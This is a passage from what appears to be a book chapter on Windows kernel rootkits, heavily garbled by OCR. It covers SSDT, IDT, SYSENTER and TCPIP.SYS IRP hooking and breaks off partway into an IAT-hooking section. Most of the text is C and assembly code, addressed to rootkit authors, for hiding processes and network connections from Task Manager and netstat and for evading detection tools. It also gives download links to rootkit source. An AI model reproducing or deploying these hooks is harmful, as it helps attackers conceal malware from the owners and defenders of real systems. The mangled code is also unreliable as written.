I nt erl ockedExchange( ( PLONG) \

&MappedSyst ental | Tabl e[ SYSCALL | NDEX(_Func)], (LONG _Hook)

These macros will help you write your own rootkit that hooks the SSDT. Their use is demonstrated in
the upcoming example.

Now that you know alittle about hooking the SSDT, let'slook at the example.

Example: Hiding Processes using an SSDT Hook



The Windows operating system uses the ZwQuery Systeml nformation function to issue queries for many
different types of information. Taskmgr.exe, for example, uses this function to get alist of processes on
the system. The type of information returned depends on the SystemlInformationClass requested. To get
aprocess list, the SysteminformationClassis set to 5, as defined in the Microsoft Windows DDK.

Once your rootkit has replaced the NtQuerySysteml nformation function in the SSDT, your hook can call
the original function and filter the results.

Figure 4-5 illustrates the way process records are returned in a buffer by NtQuerySystemlnformation.

Figure 4-5. Structure of SystemiInformationClass buffer.
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The information contained in the buffer comprises  SYSTEM PROCESSES structures and their
corresponding _SYSTEM_THREADS structures. One important item inthe _ SYSTEM_PROCESSES
structure isthe UNICODE_STRING containing the process name. There are also two
LARGE_INTEGERs containing the user and kernel time used by the process. When you hide a process,
your rootkit should add the time the process spent executing to another process in the list, so that all the
recorded times add up to 100% of the CPU time.

The following code illustrates the format of the process and thread structures in the buffer returned by
ZwQuerySystemlnformation:



struct

{

}s
sStruct

{

_SYSTEM THREADS

LARGE_| NTEGER
LARGE_| NTEGER
LARGE_| NTEGER
ULONG

PVOI D

CLI ENT_I D
KPRI ORI TY

KPRl ORI TY
ULONG

ULONG

KWAI T_REASON

_ SYSTEM PROCESSES

ULONG
ULONG

ULONG

LARGE_| NTEGER
LARGE_| NTEGER
LARGE_| NTEGER
UNI CODE_STRI NG

KPRI ORI TY

Ker nel Ti ne;
User Ti ne;

Cr eat eTi ne;
Vi t Ti me;

St art Addr ess;
Cientls;
Priority;
BasePriority;
Cont ext Swi t chCount ;
Thr eadSt at e;

Wi t Reason;

Next EntryDel t a
Thr eadCount ;
Reserved]| 6] ;
Creat eTi ne;
User Ti ne;

Ker nel Ti ne;
ProcessNane;

BasePriority;



ULONG Processl d;

ULONG I nheri t edFr onPr ocessl d;

ULONG Handl eCount ;

ULONG Reserved?2[ 2] ;

VM _COUNTERS VCount er s;

| O_COUNTERS | oCounters; //w ndows 2000 only

struct _SYSTEM THREADS Threads|[1];

The following NewZwQuerySysteml nformation function filters all the processes whose names begin
with"_root_." It aso adds the running times of these hidden processes to the Idle process.

FLLTTEEEE bbb rrrrirrrrrrr
/1 NewzZwQuer ySyst enl nf ormati on function
/1
[l ZwQuerySystem nformation() returns a linked Iist
/'l of processes.
/1 The function belowimtates it, except that it renoves
/[l fromthe |ist any process whose nane begins
[l with " root ".
NTSTATUS NewZwQuer ySyst em nf or mat i on(
I N ULONG System nfornmati ond ass,
IN PVO D Syst enl nf ormati on,
I N ULONG Syst enl nf or mati onLengt h,

OUT PULONG Ret ur nLengt h)



NTSTATUS nt St at us;
nt St atus = (( ZWQUERYSYSTEM NFORMATI ON) (A dZwQuer ySyst em nf or mat i on)
(System nf ormati onC ass,
System nf ormati on,
System nf or mati onLengt h,
Ret ur nLengt h) ;
I f( NT_SUCCESS(nt St atus))
{
/'l Asking for a file and directory listing
i f(System nformati onCl ass == 5)
{
/1 This is a query for the process list.
/'l Look for process nanes that start with

// " root " and filter them out.
struct _SYSTEM PROCESSES *curr =
(struct _SYSTEM PROCESSES *) System nformation;

struct _SYSTEM PROCESSES *prev = NULL;

whi | e(curr)
{
//DbgPrint("Current itemis %\n", curr);

i f (curr->ProcessNane. Buffer != NULL)

{

i f(0 == mencnp(curr->ProcessNane. Buffer, L" root_ ", 12))

{



m User Ti me. QuadPart += curr->UserTi ne. QuadPart;
m Ker nel Ti me. QuadPart +=
curr->Kernel Ti ne. QuadPart ;

if(prev) // Mddle or Last entry

{
i f(curr->Next EntryDel ta)
prev->Next EntryDelta +=
curr->Next EntryDel t a;
el se /[l we are last, so nmake prev the end
prev->Next EntryDelta = O;
}
el se
{
i f(curr->Next EntryDel ta)
{
/[l we are first in the list, so nove it
[l forward
(char*) System nfornati on +=
curr->Next EntryDel t a;
}
else // we are the only process!
System nformati on = NULL;
}

else // This is the entry for the Idle process



/'l Add the kernel and user tines of _root_ *
/'l processes to the Idle process.
curr->UserTi ne. QuadPart += m User Ti ne. QuadPart ;
curr->Kernel Ti me. QuadPart += m Kernel Ti ne. QuadPart;
/Il Reset the timers for next time we filter
m User Ti me. QuadPart = m Kernel Ti ne. QuadPart = O;

}

prev = curr;

I f(curr->NextEntryDelta)((char*)curr+=

curr->NextEntryDel ta);

el se curr = NULL;

}

else if (System nformationC ass == 8)
{
/1 Query for SystenProcessorTines
struct _SYSTEM PROCESSOR TIMES * tines =
(struct _SYSTEM PROCESSOR Tl MES *) Syst enl nf or mati on;
ti mes->1dl eTi me. QuadPart += m User Ti ne. QuadPart +

m Ker nel Ti me. QuadPart ;

}

return nt Status;



Rootkit.com

Y ou can download the code to hook the SSDT and hide processes at:
www.rootkit.com/vault/fuzen_op/HideProcessHookMDL .zip

With the preceding hook in place, your rootkit will hide all processes that have names beginning with
" root_." The name of the processes to hide can be changed; thisisjust one example. There are alot of
other functions within the SSDT that you may want to hook as well.

Now that you have a better understanding of SSDT hooks, let's talk about other places in the kernel that
can be hooked.

Hooking the Interrupt Descriptor Table

Asthe name implies, the Interrupt Descriptor Table (IDT) isused to handle interrupts. Interrupts can
originate from software or hardware. The IDT specifies how to process interrupts such as those fired
when akey is pressed, when a page fault occurs (entry OXOE inthe IDT), or when a user process requests
the attention of the System Service Descriptor Table (SSDT), which is entry Ox2E in Windows. This
section will show you how to install ahook on the Ox2E vector in the IDT. This hook will get called
before the kernel function in the SSDT.

Two points are important to note when dealing with the IDT. First, each processor hasitsown IDT,
which is an issue on multi-processor machines. Hooking just the processor on which your codeis
currently executing is not sufficient; all the IDTs on the system must be hooked. (For more information
on how to get your hooking function to run on a particular processor, see the Synchronization Issues
section in Chapter 7, Direct Kernel Object Manipulation.)

Also, execution control does not return to the IDT handler, so the typical hook technique of calling the
origina function, filtering the data, and then returning from the hook will not work. The IDT hook is
just a pass-through function and will never regain control, so it cannot filter data. However, your rootkit
could identify or block requests from a particular piece of software, such asaHost Intrusion Prevention
System (HIPS) or a personal firewall.

When an application needs the assistance of the operating system, NTDLL.DLL loadsthe EAX register
with the index number of the system call in the SSDT and the EDX register with a pointer to the user
stack parameters. The NTDLL.DLL thenissuesan INT 2E instruction. Thisinterrupt isthe signal to
transfer from userland to the kernel. (Note: Newer versions of Windows use the SY SENTER
instruction, as opposed to an INT 2E. SYSENTER is covered later in this chapter.)

The SIDT instruction is used to find the IDT in memory for each CPU. It returns the address of the
IDTINFO structure. Because the IDT location is split into alower WORD value and a higher WORD
value, use the macro MAKELONG to get the correct DWORD value with the most significant WORD
first:



t ypedef struct

{
WORD | DTLim t;
WORD Low DTbase;
WORD Hi | DTbase;
} | DTI NFG

#defi ne MAKELONG(a, b) ((LONG (((WORD)(a))| ((DWORD) ((WORD) (b)))

<< 16))

Each entry within the IDT has its own structure that is 64 bits long. The entries also display this split
WORD characteristic. Every entry contains the address of the function that will handle a particular
interrupt. The LowOffset and the HiOffset inthe IDTENTRY structure comprise the address of the
interrupt handler.

Here isthe structure of each entry inthe IDT:

#pragma pack(1)
t ypedef struct
{
WORD LowOX f set ;
WORD sel ector;
BYTE unused | o;
unsi gned char unused hi:5; // stored TYPE ?
unsi gned char DPL: 2;
unsi gned char P: 1; /'l vector is present
WORD Hi O f set ;

} | DTENTRY;



#pragma pack()

The following HookInterrupts function declares a global DWORD that will storetherea INT 2E
function handler, KiSystemService. It also definesNT_SYSTEM_SERVICE_INT asOx2E. Thisisthe
index inthe IDT you will hook. The code will replace the real entry inthe IDT with an IDTENTRY
containing the address of your hook.

DWORD Ki Real SystentServicel SR Ptr; // The real | NT 2E handl er
#defi ne NT_SYSTEM SERVI CE_| NT Ox2e
i nt Hookl nterrupts()
{
| DTI NFO i dt _i nf o;
| DTENTRY* idt _entries;
| DTENTRY* int2e _entry;
__asn{
sidt idt_info;
}
idt_entries =
(| DTENTRY*) MAKELONG i dt _i nf o. Low DTbase, i dt i nfo. Hi | DTbase)
Ki Real SystentServicel SR Ptr = // Save the real address of the
/'l handl er.
MAKELONG(i dt _entri es[ NT_SYSTEM SERVI CE_| NT] . LowCf f set
idt_entries[ NT_SYSTEM SERVICE INT]. H O fset);
[ Rk R ko ok ok kK ko ok ok Rk ko ok ok kR Kk ok R ko Kok kK ko Kok kK kK Kk K
* Note: we can patch ANY interrupt here;

* the sky is the limt

*******************************************************/



int2e_entry = &(idt_entries[ NT_SYSTEM SERVI CE | NT]);
__asn{
cli; /1 Mask Interrupts

| ea eax, MyKi SystentService; // Load EAX with the address of

/'l hook

nov ebx, int2e _entry; /1 Address of INT 2E handler in
I/ table

nov [ ebx], ax; /'l Overwite real handler with

/] the | ow

/! 16 bits of the hook address.

shr eax, 16
nov [ ebx+6], ax; /'l Overwrite real handler with
/1 the high
/1 16 bits of the hook address.
sti; /'l Enabl e Interrupts again.

}

return O;

Now that you have installed the hook in the IDT, you can detect or prevent any process using any system
call. Remember that the system call number is contained in the EAX register. Y ou can get a pointer to
the current EPROCESS by calling PsGetCurrentProcess. Here is the code prototype to begin this

__decl spec(naked) MKi SystentService()

{
__asm{



pushad
pushfd
push fs
nmov bx, 0x30
nov fs, bx
push ds
push es
/1l Insert detection or prevention code here.
Fi ni sh:
pop es
pop ds
pop fs
popf d
popad
j mp Ki Real Systentervicel SR Ptr; // Call the real function

}

}
Rootkit.com
The code for this example may be downloaded at:
www.rootkit.com/vault/fuzen_op/strace Fuzen.zip
SYSENTER

Newer versions of Windows no longer use INT 2E or go through the IDT to request the servicesin the
system call table. Instead, they use the fast call method. In this case, NTDLL loadsthe EAX register
with the system call number of the requested service and the EDX register with the current stack pointer,



ESP. NTDLL then issuesthe Intel instruction SY SENTER.

The SY SENTER instruction passes control to the address specified in one of the Model-Specific
Registers (MSRs). The name of thisregister islIA32_SYSENTER_EIP. Y ou can read and write to this
register, but it is a privileged instruction, which means you must perform thisinstruction from Ring
Zero.

Hereisasimpledriver that reads the value of the IA32_SYSENTER_EIP, storesit in aglobal variable,
and then fills the register with the address of our hook. The hook, MyKiFastCallEntry, does not do
anything except jump to the original function. Thisisthefirst step necessary to hook the SY SENTER
control flow.

#i ncl ude "ntddk. h"

ULONG d_origKi FastCall Entry; // Oiginal value of

/1 ntoskrnl!Ki Fast Cal
VO D OnUnl oad( | N PDRI VER OBJECT Driver Cbject )

{
DbgPrint ("ROOTKI T: OnUnl oad cal | ed\ n");

}
/'l Hook function
__decl spec(naked) MyKi FastCal | Entry()
{
__asm {

jmp [d_origKi Fast Cal | Ent ry]

}
NTSTATUS Driver Entry( PDRI VER _OBJECT t heDri ver Obj ect,

PUNI CODE_STRI NG t heRegi stryPat h)

t heDri ver Qbj ect->DriverUnl oad = OnUnl oad;



__asm{
nov ecx, O0x176
rdmsr /1l read the value of the | A32_SYSENTER EI P
/'l register
mov d_origKi FastCal | Entry, eax
nmov eax, MyKi FastCall Entry /'l Hook function address

Wr B[ /Il Wite to the | A32_SYSENTER EI P regi ster

}
return STATUS SUCCESS;

Rootkit.com

The code for the SY SENTER hook is located at:
www.rootkit.com/vault/fuzen _op/SysEnterHook.zip .

Hooking the Major 1/0 Request Packet Function Table in the Device Driver
Object

Another great placeto hide in the kernel isin the function table contained in every device driver. When
adriver isinstalled, it initializes a table of function pointers that have the addresses of its functions that
handle the different types of 1/0 Request Packets (IRPs). IRPs handle severa types of requests, such as
reads, writes, and queries. Since drivers are very low level in the control flow, they represent ideal
places to hook.

Thefollowing isastandard list of IRP types defined by the Microsoft DDK:

/'l Define the major function codes for |RPs.
#define | RP_MJ_CREATE 0x00

#define | RP_MJ_CREATE NAMED Pl PE 0x01



#def i

#def i

#def i

#def i

#def i

#def i

#def i

#def i

#def i

#def i

#def i

#def i

#def i

#def i

#def i

#def i

#def i

#def i

#def i

#def i

#def i

#def i

#def i

#def i

#def i

#def i

ne

ne

ne

ne

ne

ne

ne

ne

ne

ne

ne

ne

ne

ne

ne

ne

ne

ne

ne

ne

ne

ne

ne

ne

ne

ne

| RP_MJ_CLOSE

| RP_MJ_READ

| RP_M_WRI TE

| RP_MJ_QUERY_| NFORMATI ON

| RP_MJ_SET_| NFORMATI ON

| RP_MJ_QUERY_EA

| RP_MJ_SET_EA

| RP_MJ_FLUSH_BUFFERS

| RP_MJ_QUERY_VOLUME_| NFORMATI ON
| RP_MJ_SET_VOLUME_| NFORMVATI ON
| RP_MJ_DI RECTORY_CONTROL

| RP_MJ_FI LE_SYSTEM CONTROL

| RP_MJ_DEVI CE_CONTROL

| RP_MJ_| NTERNAL_DEVI CE_CONTROL
| RP_MJ_ SHUTDOWN

| RP_MJ_LOCK_CONTROL

| RP_MJ_CLEANUP

| RP_MJ_CREATE_MAI LSLOT

| RP_MJ_QUERY_SECURI TY

| RP_MJ_SET_SECURI TY

| RP_MJ_POER

| RP_MJ_SYSTEM CONTROL

| RP_MJ_DEVI CE_CHANGE

| RP_MJ_QUERY_QUOTA

| RP_MJ_SET_QUOTA

| RP_MJ_PNP

0x02

0x03

0x04

0x05

0x06

0x07

0x08

0x09

Ox0a

0x0b

0x0c

0Ox0d

0Ox0e

OxOf

0x10

Ox11

0x12

0x13

0x14

0x15

0x16

0Ox17

0x18

0x19

Ox1la

Ox1b



#define | RP_MJ_PNP_POZER IRP_MJ_PNP //Cbsol ete

#define | RP_MI_MAXI MUM FUNCTI ON 0x1b

The IRPs and the particular driver of interest will depend upon what you are intending to accomplish.
For example, you could hook the functions dealing with file system writes or TCP queries. However,
there is one problem with this hooking approach. Much like the IDT, the functions that handle the major
IRPs are not designed to call the original function and then filter the results. These functions are not to
be returned to from the lower device driver in the call stack. Figure 4-6 illustrates how a device object
leads to the driver object where the IRP_MJ * function table is stored.

Figure 4-6. lllustration of hooking a driver's IRP table.
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In the following example, we will show you how to hide network ports from programs such as
netstat.exe using an IRP hook in the TCPIP.SY S driver, which manages TCP ports.

Hereisthetypical output from netstat.exe listing al the TCP connections:

C.\ Docunents and Settings\Fuzen>netstat -p TCP
Active Connections

Proto Local Address For ei gn Address State

TCP LI FE: 1027 | ocal host: 1422 ESTABLI SHED

TCP LI FE: 1027 | ocal host : 1424 ESTABLI| SHED



TCP LI FE: 1027 | ocal host: 1428 ESTABLI| SHED

TCP LI FE: 1410 | ocal host: 1027 CLCSE_WAI'T

TCP LI FE: 1422 | ocal host: 1027 ESTABLI| SHED
TCP LI FE: 1424 | ocal host: 1027 ESTABLI| SHED
TCP LI FE: 1428 | ocal host: 1027 ESTABLI SHED
TCP LI FE: 1463 | ocal host: 1027 CLCSE_WAI'T

TCP LI FE: 1423 64.12. 28. 72: 5190 ESTABLI SHED
TCP LI FE: 1425 64.12. 24. 240: 5190 ESTABLI SHED
TCP LI FE: 3537 64.233.161. 104: http ESTABLI| SHED

Here we see the protocol name, source address and port, destination address and port, and state of each
connection.

Obvioudly, you do not want your rootkit to show any established outbound connections. One way to
avoid thisisto hook TCPIP.SY S and filter the IRPs used to query this information.

Finding the Driver IRP Function Table

In preparing to hide your network port usage, your first task is to find the driver object in memory. In
this case, we are interested in TCPIP.SY S and the device object associated with it, which is called
\\DEVICEWTCP. The kernel provides a useful function that returns a pointer to the object of any device,
loGetDeviceObjectPointer. Given a name, it returns the corresponding file object and device object. The
device object contains a pointer to the driver object, which holds the target function table. Y our rootkit
should save the old value of the function pointer you are hooking. Y ou will need to eventually call this
in your hook. Also, if you ever want to unload your rootkit, you will need to restore the original function
address in the table. We use InterlockedExchange because it is an atomic operation with regard to the
other InterlockedX XX functions.

The following code gets the pointer to TCPIP.SY S given a device name, and hooks a single entry in the
IRP function table. In Install TCPDriverHook(), you will replace the function pointer in TCPIP.SY S that
dealswith IRP_MJ DEVICE_CONTROL. Thisisthe IRP used to query the device, TCP.

PFI LE_OBJECT pFil e_tcp;
PDEVI CE_OBJECT pDev_tcp;

PDRI VER_OBJECT pDrv_tcpip;



t ypedef NTSTATUS (*OLDI RPMJDEVI CECONTROL) (I N PDEVI CE_OBJECT,

OLDI RPMIDEVI CECONTRCL A dI r pM Devi ceControl ;

NTSTATUS I nstal | TCPDri ver Hook()
{
NTSTATUS nt St at us;
UNI CODE_STRI NG devi ceTCPUni codeStri ng;

WCHAR devi ceTCPNaneBuffer[] = L"\\Device\\Tcp";

pFile_tcp = NULL;
pDev_tcp = NULL;
pDrv_tcpi p = NULL;

RtI1nitUnicodeString (&devi ceTCPUni codeStri ng,

devi ceTCPNaneBuf f er) ;

IN Pl RP);

nt Status = |1 0Get Devi ceChj ect Poi nt er (&devi ceTCPUni codeStri ng,

FI LE_READ DATA, &pFile_tcp,
&pDev_tcp);
I (! NT_SUCCESS( nt St atus))

return nt St atus;

pDrv_tcpip = pDev_tcp->Driver Qbj ect;
A dl rpM Devi ceControl = pDrv_tcpip->
Maj or Function[ | RP_M]_DEVI CE_CONTRCL] ;
I f (A dlrpM DeviceControl)
I nt erl ockedExchange ((PLONG &pDrv_t cpi p->
Maj or Function[ | RP_M]_DEVI CE_CONTRCL] ,

( LONG) HookedDevi ceControl ) ;



return STATUS SUCCESS;

When this code is executed, your hook isinstaled in the TCPIP.SY S driver.
IRP Hook Function

Now that your hook isinstalled in the TCPIP.SY S driver, you are ready to begin receiving IRPsin your
HookedDeviceControl function. There are many different types of requests even within
IRP_MJ DEVICE_CONTROL for TCPIP.SYS.

All the IRPs of type IRP_MJ * areto be covered in thefirst level of filtering you must do. "IRP_MJ'
stands for major IRP type. Thereisaso aminor typein every IRP.

In addition to major and minor IRP types, the loControlCode in the IRP is used to identify a particular
type of request. For this example, you are concerned only with IRPs with the |oControl Code of
IOCTL_TCP_QUERY _INFORMATION_EX. These IRPsreturn the list of portsto programs such as
netstat.exe. The rootkit should cast the input buffer of the IRP to the following TDIObjectID. In hiding
TCP ports, your rootkit will focus only on the entity requestsof CO_TL_ENTITY. CL_TL_ENTITY is
used for UDP requests. Thetoi_id of the TDIObjectID is aso important. Its value depends on what
switches were used when the user invoked netstat (for example, net st at . exe - o). We will discuss this
field in more detail in the next section.

#define CO TL_ENTITY 0x400
#define CL_TL_ENTITY 0x401
#def i ne | OCTL_TCP_QUERY_I NFORMATI ON_EX 0x00120003
[/* Structure of an entity ID.
typedef struct TDI EntitylD {
ul ong tei _entity;
ul ong tei _instance;
} TDIEntityl D,
[1* Structure of an object ID.

typedef struct TDI Cbject!D {



TDIEntitylD toi_entity;

ul ong toi _cl ass;
ul ong toi _type;
ul ong toi _id;

} TDI Qhj ect | D

HookedDeviceControl needs a pointer to the current IRP stack, where the major and minor function
codes of the IRP are stored. Since we hooked IRP_MJ DEVICE _CONTROL, we would naturally
expect that to be the major function code, but alittle sanity checking may be done to confirm this.

Another important piece of information in the IRP stack is the control code. For our purposes, we are
interested only inthe IOCTL_TCP_QUERY _INFORMATION_EX control code.

The next step isto find where the input buffer iswithin the IRP. For netstat requests, the kernel and user
programs transfer information buffers using a method called METHOD_NEITHER. This method causes
the input buffer to be found in the Parameters.Devicel oControl . Type3lnputBuffer of the IRP stack. The
rootkit should cast the input buffer to a pointer to a TDIObjectI D structure. Y ou can use the preceding
structures to locate arequest you are interested in altering. For hiding TCP ports, inputBuffer-
>toi_entity.tei_entity should equal CO_TL_ENTITY and inputBuffer->toi_id can be one of three values.
The meaning of thisID, toi_id, isexplained in the next section.

If thisIRPisindeed a query your rootkit isto alter, you must change the IRP to contain a pointer to a
callback function of your choosing, which in this caseis your rootkit's loCompletionRoutine. Y ou also
must change the control flags in the IRP. These signal the 1/0O Manager to call your completion routine
once the driver below you (TCPIP.SY S) has successfully finished processing the IRP and filling in the
output buffer with the requested information.

Y ou can pass only one parameter to your completion routine. Thisis contained in irpStack->Context.
However, you need to pass two pieces of information. Thefirst is apointer to the original completion
routine in the IRP, if there was one. The second piece of information is the value of inputBuffer->toi_id,
because thisfield contains an ID used to determine the format of the output buffer. The last line of
HookedDeviceControl calls OldirpMjDeviceControl, which was the original

IRP_MJ DEVICE_CONTROL function handler in the TCPIP.SY S driver object.

NTSTATUS HookedDevi ceControl (I N PDEVI CE_OBJECT Devi ce(bj ect,

IN PIRP Irp)

Pl O STACK_LOCATI ON i r pSt ack;



ULONG i oTr ansf er Type;
TDI Qbj ect I D *i nput Buf f er;
DWORD cont ext ;
/'l Get a pointer to the current location in the IRP. This is where
/1 the function codes and paraneters are | ocated.
I rpStack = loGetCurrentlrpStackLocation (Irp);
switch (irpStack->Mj orFuncti on)
{
case | RP_MJ_DEVI CE_CONTROL:
if ((irpStack->M norFunction == 0) &&
(i rpStack->Paraneters. Devi cel oControl .1l oControl Code

== | OCTL_TCP_QUERY_| NFORMATI ON_EX) )

i oTransfer Type =
i rpSt ack->Par anet er s. Devi cel oControl . 1 oContr ol Code

i oTransfer Type &= 3;

/'l Need to know the nmethod to find input buffer

if (ioTransferType == METHOD NEI THER)

{
i nput Buffer = (TDI Qbj ectI D *)

i rpSt ack- >Par anet ers. Devi cel oControl . Type3Il nput Buf f er
/1 COTL _ENTITY is for TCP and CL_TL _ENTITY is for UDP
if (inputBuffer->toi_entity.tei_entity == CO_TL_ENTI TY)
{
if ((inputBuffer->toi_id == 0x101) ||

(inputBuffer->toi _id == 0x102) ||



(i nputBuffer->toi _id == 0x110))

/1 Call our conpletion routine if |IRP succeeds.
/'l To do this, change the Control flags in the IR
I rpSt ack->Control = O;
I rpStack->Control |= SL_I NVOKE_ON_SUCCESS;
/'l Save old conpletion routine if present
i rpSt ack- >Cont ext =(PI O COVPLETI ON_ROUTI NE)
ExAl | ocat ePool ( NonPagedPool ,
si zeof (REQ NFO)) ;
((PREQ NFO)i r pSt ack- >Cont ext ) - >
A dConpl etion =
i rpSt ack->Conpl et i onRout i ne;
((PREQ NFO) i r pSt ack- >Cont ext ) - >ReqType =
i nput Buf fer->toi _id;
/'l Setup our function to be called
/'l upon conpletion of the IRP
I rpSt ack- >Conpl eti onRouti ne =

(Pl O_COVPLETI ON_RQUTI NE) | oConpl eti onRout i ne;

}

br eak;

def aul t:



br eak;

/1 Call the original function

return A dlrpM Devi ceControl (DeviceQbject, Irp);

Now that you have inserted into the IRP a pointer to your callback function, loCompletionRoutine, it is
time to write the completion routine.

IRP Completion Routines

In the code described above, you inserted your own completion routine into the existing IRP as it was
intercepted by your hook and before you called the original function. Thisisthe only way to alter the
information the lower driver(s) will placeinto the IRP. Y our rootkit driver is now essentially hooked in,
abovethereal driver(s). Thelower driver (for example, TCPIP.SY S) takes control once you call the
origina IRP handler. Normally, the IRP handler, which was used as your hook function, is never
returned to from the call stack. That iswhy you must insert a completion routine. With thisroutine in
place, after TCPIP.SY Sfillsin the IRP with information about all the network ports, it will return to
your completion routine (because you have wedged it into the original IRP). For a more complete
explanation of IRPs and their completion routines, see Chapter 6, Layered Drivers.

In the following code sample, loCompletionRoutine is called after TCPIP.SY S has filled in the output
buffer in the IRP with a structure for each existing TCP port on the host. The exact structure of this
buffer depends on which switches have been used to run netstat. The options available depend upon the
operating system version in use. The -0 option also causes netstat to list the process that owns the port.
In this case, TCPIP.SY S returns a buffer containing CONNINFO102 structures. The -b option will
return CONNINFO110 structures with the port information. Otherwise, the structures returned are of
type CONNINFO101. These three types of structures, and the information each one contains, are as
follows:

#define HTONS(a) (((OxFF&a)<<8) + ((OxFF00&a)>>8)) // to get a port
/1l Structures of TCP information buffers returned by TCPIP. SYS
typedef struct _CONNI NFOLO1 {

unsi gned | ong st at us;

unsi gned | ong src_addr;



unsi gned short src_port;
unsi gned short unkil;

unsi gned | ong dst_addr;

unsi gned short dst_port;
unsi gned short unk2;
} CONNI NFOL01, *PCONNI NFOL101;
typedef struct _CONNI NFOLO02 {
unsi gned | ong st at us;
unsi gned | ong src_addr;
unsi gned short src_port;
unsi gned short unkl1;
unsi gned | ong dst_addr;
unsi gned short dst _port;
unsi gned short unk2;
unsi gned | ong pi d;
} CONNI NFOL02, *PCONNI NFOL102;
typedef struct _CONNI NFOL10 {
unsi gned | ong si ze;
unsi gned | ong st at us;
unsi gned | ong src_addr;
unsi gned short src_port;
unsi gned short unkl1;
unsi gned | ong dst_addr;
unsi gned short dst_port;

unsi gned short unk2;



unsi gned | ong pi d;
PVA D unk3[ 35] ;

} CONNI NFOL10, *PCONNI NFOL110;

loCompletionRoutine receives a pointer called Context for which you allocate space in your hook
routine. Context is a pointer of type PREQINFO. Y ou will use thisto keep track of the type of
connection information requested and the original completion routine in the IRP, if any. By parsing the
buffer and changing the status value of each structure, you can hide any port you desire. Some of the
common status values are as follows:

2for LISTENING

« 3for SYN_SENT

« 4for SYN_RECEIVED
« 5for ESTABLISHED
. 6for FIN_WAIT 1

« 7for FIN_WAIT 2

. 8for CLOSE_WAIT

. 9for CLOSING

If you change the status value to 0 with your rootkit, the port disappears from netstat regardless of the
parameters. (For an understanding of the different status values, Stevens's bookl% is an excellent
reference.) The following code is an example of a completion routine that hides a connection that was
destined for TCP port 80:

(9T W. R. Stevens, TCP/IP lllustrated, Volume 1 (Boston: Addison-Wesley, 1994), pp. 22960.

typedef struct _REQ NFO {
PI O_COVPLETI ON_ROUTI NE A dConpl eti on;
unsi gned | ong ReqType;
} REQ NFO *PREQ NFO
NTSTATUS | oConpl eti onRouti ne(1 N PDEVI CE_OBJECT Devi ce(bj ect,

IN PIRP ITp,



I N PvO D Cont ext)

PVO D Qut put Buf fer;

DWORD NumQut put Buf f er s;

Pl O_COVPLETI ON_ROUTI NE p_conpRout i ne;

DVWORD i ;

// Connection status val ues:

11

I

I

I

/11

Il

11

11

I

I

/11

0

I nvi sible
CLOSED

LI STENI NG
SYN_SENT
SYN_RECEI VED
ESTABLI SHED
FIN WAIT 1

FIN WAIT 2
CLOSE WAI T

CLOSI NG

Qut put Buffer = Irp->UserBuffer;

p_conmpRoutine = ((PREQ NFO) Cont ext)->0 dConpl eti on;

I T (((PREQ NFO) Cont ext) - >ReqType == 0x101)

{

NunmQut put Buf fers = Irp->loStatus. I nformation /

si zeof (CONNI NFO101) ;

for(i = 0; i < NunQutputBuffers; i++)

{



// Hi de all Web connecti ons

i f (HTONS((( PCONNI NFOLO1) Qut put Buffer)[i].dst_port) == 80)

(( PCONNI NFO101) Qut put Buffer)[i].status = O;
}
}
el se if (((PREQ NFO) Cont ext)->ReqType == 0x102)
{
NunQut put Buffers = Irp->loStatus. I nformation /
si zeof ( CONNI NFOL102) ;
for(i = 0; i < NumQutputBuffers; i++)
{
/1 Hide all Wb connections
i f (HTONS(((PCONNI NFOL02) Qut putBuffer)[i].dst_port) == 80)
( (PCONNI NFO102) Qut put Buffer)[i].status = O;
}
}
el se if (((PREQ NFO) Cont ext) - >ReqType == 0x110)
{

NumQut put Buffers = Irp->loStatus. I nformation /

si zeof ( CONNI NFOL10) ;

for(i

{

0; i < NunmQutputBuffers; i++)

/! H de all Web connecti ons
i f (HTONS(((PCONNI NFOL10) Qut putBuffer)[i].dst _port) == 80)

(( PCONNI NFOL10) Qut put Buffer)[i].status = 0;



}

ExFr eePool ( Cont ext) ;

I f ((lrp->StackCount > (ULONG 1) && (p_conpRoutine !'= NULL))

{

return (p_conpRouti ne)(DeviceCbject, Irp, NULL);

el se

return Irp->loStatus. Status;
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Y ou can find the code for the TCP IRP hook at:
www.rootkit.com/vault/fuzen_op/TCPIRPHooK.zip



A Hybrid Hooking Approach

Userland hooks have their place. They are usually easier to implement than kernel-mode hooks. Also,
some of the functions your rootkit may be designed to filter may not have obvious paths through the
kernel.

However, we do not recommend implementing a rootkit using userland hooks. The reason: if a detection
mechanism isimplemented in the kernel, your rootkit will not be on an even footing with its adversary,
the detection software.

Typically, the detection process involves observing the ways in which code isinduced to executein
another process's address space. When this mode of detection or prevention is expected, a hybrid
approach may be the answer. The hybrid hooking approach is designed to hook a userland process by
using an Import Address Table (IAT) hook, but to do so without opening a handle to the target process,
using WriteProcessMemory, changing a Registry key, or engaging in other readily detectable activities.

The HybridHook example presented in the following discussion hooks the userland process from a
kernel driver.

Getting into a Process's Address Space

The operating system provides a very useful function if you want to be notified when your target process
or DLL isloaded. It is called PsSetlmagel oadNotifyRoutine. As the name suggests, this function
registersadriver callback routine that will be called every time an image is loaded into memory. The
function takes only one parameter, the address of your callback function. Y our callback routine should
be declared as follows:

VO D Myl mageLoadNot i fy(I N PUNI CODE_STRI NG,
| N HANDLE,

I N Pl MAGE_| NFO) ;

The UNICODE_STRING contains the name of the module loaded by the kernel. The HANDLE
parameter isthe Process ID (PID) of the process the moduleis being loaded into. Y our rootkit is already
in the memory context of thisPID. The IMAGE_INFO structureisfull of good information your rootkit
will need, such as the base address of the image being loaded into memory. It is defined as follows:

typedef struct | MAGE | NFO {

uni on {



ULONG Properties;

struct {
ULONG | nageAddr essi ngMbde : 8; //code addressi ng node
ULONG Syst enmvbdel mage . 1; //system node inage
ULONG | mageMappedToAl I Pids : 1; //mapped in all processes

ULONG Reser ved 122

b

PVO D | nageBase;

ULONG | mageSel ector;
ULONG | mageSi ze;

ULONG | mageSect i onNunber ;

} 1| MAGE_I NFO, *Pl MAGE_ | NFO

In your callback function, you must determine whether thisis a module whose IAT you wish to hook. If
you do not know which modules in the process import a particular function you want to filter, you can
hook al the IATs pointing to the function you want to hook. The following example hooks all the
modules by calling Hookl mportsOfimage to parse the module and find its IAT entries. The code
designed to target only a particular executable or DLL has been commented out.

LTI rrrrirrrrrrng
/'l Myl mageLoadNotify gets called when an i mge is | oaded
/1l into kernel or user space. At this point, you could
/1 filter your hook based on Processld or on the nane of
/'l of the image. O herwi se you could hook all the I AT s
/] that refer to the function you want to filter.

VO D Myl mageLoadNot i fy(I N PUNI CODE_STRING Ful | | mageNane,



Il

/1

/1

/1

/1

/11

